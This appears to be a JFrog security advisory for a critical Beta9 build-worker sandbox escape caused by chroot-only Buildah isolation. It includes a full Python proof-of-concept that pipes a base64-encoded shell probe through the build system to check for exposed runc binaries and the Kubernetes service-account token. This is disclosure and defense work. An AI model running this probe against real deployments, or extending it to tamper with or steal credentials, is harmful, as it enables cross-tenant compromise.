< Back

JFSA-2026-001699275 - Beta9 is vulnerable to a Build Worker Sandbox Escape via Chroot-only Buildah Isolation

CVE-2026-120306 | CVSS 9.9

JFrog Severity:critical

Discovered ByNatan Nehoraiof the JFrog Security Research Team

Published 1 Nov, 2026 | Last updated 1 Nov, 2026

Beta9 is vulnerable to a Build Worker Sandbox Escape via Chroot-only Buildah Isolation

Beta9 worker (github.com/beam-cloud/beta9)

worker < 0.1.756

Beta9 turns each shell command in a tenant image definition into a Dockerfile RUN line and executes it with Buildah on a build worker. The worker image sets BUILDAH_ISOLATION=chroot, and no buildah invocation passes --isolation, so the step only changes its filesystem root. It keeps the worker pod's PID, network, IPC, and user namespaces, runs as uid 0, and holds CAP_DAC_OVERRIDE. Pid 1 in that procfs is the worker entrypoint, so /proc/1/root is the worker container's filesystem and is writable.

That filesystem holds runc, buildah, and runsc, the binaries the worker uses to start tenant containers, the worker's Kubernetes service account token, and the host directories mounted into the pod. Worker pods are privileged. Clip v2 layered builds are the default, so a tenant with a workspace token reaches this by submitting one image build. A read-only probe confirmed the shared namespaces, CAP_DAC_OVERRIDE, and that the worker runc binary is visible at /proc/1/root.

Worker 0.1.756 runs Buildah RUN steps, including the WORKDIR mkdir, under OCI isolation with private PID, IPC, and network namespaces. Tenant build arguments are passed into the build container rather than into the Buildah process environment.


Step 1 - Install the client and select the deployment


Any workspace token is enough. No pool selector, custom base image, or Docker option is required.

pip install beta9
beta9 configure

Step 2 - Save the read-only probe


The probe reports uid, namespace identity, the effective capability mask, and whether the worker's runc binary and service-account token path are visible through /proc/1/root. It does not write, delete, or print secret material. The nonce on the RUN line keeps the build off the image cache.

#!/usr/bin/env python3
import base64
import re
import sys
import uuid

from beta9.abstractions.image import Image
from beta9.clients.image import BuildImageRequest

MARK = "B9PROBE"

PROBE = r"""
set -u
M=B9PROBE
R=/proc/1/root

echo "$M uid=$(id -u) pid=$$"
echo "$M caps_self=$(awk '/^CapEff/{print $2}' /proc/self/status)"
echo "$M pidns_self=$(readlink /proc/self/ns/pid)"
echo "$M userns_self=$(readlink /proc/self/ns/user)"
echo "$M netns_self=$(readlink /proc/self/ns/net)"
echo "$M visible_pids=$(ls /proc | grep -c '^[0-9][0-9]*$')"
echo "$M init_cmd=$(tr '\0' ' ' < /proc/1/cmdline | tr -s ' ' '_')"
echo "$M caps_init=$(awk '/^CapEff/{print $2}' /proc/1/status)"
echo "$M pidns_init=$(readlink /proc/1/ns/pid)"
echo "$M userns_init=$(readlink /proc/1/ns/user)"

if [ -e "$R/usr/local/sbin/runc" ]; then
  echo "$M worker_runc=present"
else
  echo "$M worker_runc=absent"
fi

if [ -r "$R/var/run/secrets/kubernetes.io/serviceaccount/token" ]; then
  echo "$M sa_token=readable"
else
  echo "$M sa_token=unreachable"
fi

if [ -d "$R/images" ]; then
  echo "$M images_mount=present"
else
  echo "$M images_mount=absent"
fi

exit 0
"""


def probe_command() -> str:
    blob = base64.b64encode(PROBE.encode()).decode()
    return f"echo {blob} | base64 -d | sh  # {uuid.uuid4().hex}"


def run_build(command: str):
    log = []
    for resp in Image(python_version="python3", commands=[command]).stub.build_image(
        BuildImageRequest(
            python_version="python3",
            commands=[command],
            ignore_python=True,
        )
    ):
        if resp.msg:
            sys.stdout.write(resp.msg)
            sys.stdout.flush()
            log.extend(line for line in resp.msg.splitlines() if MARK in line)
        if resp.done:
            break
    return log


def parse(log):
    facts = {}
    for line in log:
        tail = line.split(MARK, 1)[1]
        for key, value in re.findall(r"(\w+)=(\S+)", tail):
            facts[key] = value
    return facts


def has_dac_override(cap_hex: str) -> bool:
    try:
        return bool(int(cap_hex, 16) & 0x2)
    except ValueError:
        return False


def main() -> int:
    facts = parse(run_build(probe_command()))
    if not facts:
        print("\nINCONCLUSIVE: the build log carried no probe output")
        return 2

    print("\nProbe results")
    for key in sorted(facts):
        print(f"  {key} = {facts[key]}")

    neighbour = facts.get("worker_runc") == "present" or "worker" in facts.get("init_cmd", "")
    dac_override = has_dac_override(facts.get("caps_self", "0"))
    print()
    if neighbour and dac_override:
        print(
            f"VULNERABLE: the build step ran as uid {facts.get('uid')} as pid "
            f"{facts.get('pid')} inside the worker's own PID and user namespaces, "
            f"resolved the worker container's filesystem at /proc/1/root, and holds "
            f"CAP_DAC_OVERRIDE, which bypasses permission checks on that filesystem"
        )
        return 1

    print("NOT VULNERABLE: the build step saw only its own container")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Step 3 - Run the probe


python3 poc_beta9_build_isolation.py

Expected output on a worker before 0.1.756:

VULNERABLE: the build step ran as uid 0 as pid <host pid> inside the worker's own PID and user namespaces, resolved the worker container's filesystem at /proc/1/root, and holds CAP_DAC_OVERRIDE, which bypasses permission checks on that filesystem

The lines above that verdict include worker_runc = present, a caps_self mask with the CAP_DAC_OVERRIDE bit set, an init_cmd naming the worker entrypoint, and a visible_pids count covering the worker pod. On worker 0.1.756 or later the same build prints NOT VULNERABLE: the build step saw only its own container.

Upgrade the Beta9 worker to 0.1.756 or later. That release drops chroot isolation. Buildah RUN steps use OCI isolation with private PID, IPC, and network namespaces, and tenant build arguments are applied inside the build container.

The change is https://github.com/beam-cloud/beta9/pull/1897, commit a28bf12cf0007c792a25d8ed282b4e8bf6f30393, released as worker 0.1.756 on 2026-09-15. Gateway 0.1.776 is the gateway tag cut from the same commit. The isolation change is in the worker image.

https://www.cve.org/CVERecord?id=CVE-2026-120306 https://github.com/beam-cloud/beta9/pull/1897 https://github.com/beam-cloud/beta9/commit/a28bf12cf0007c792a25d8ed282b4e8bf6f30393 https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.756 https://github.com/beam-cloud/beta9

< Back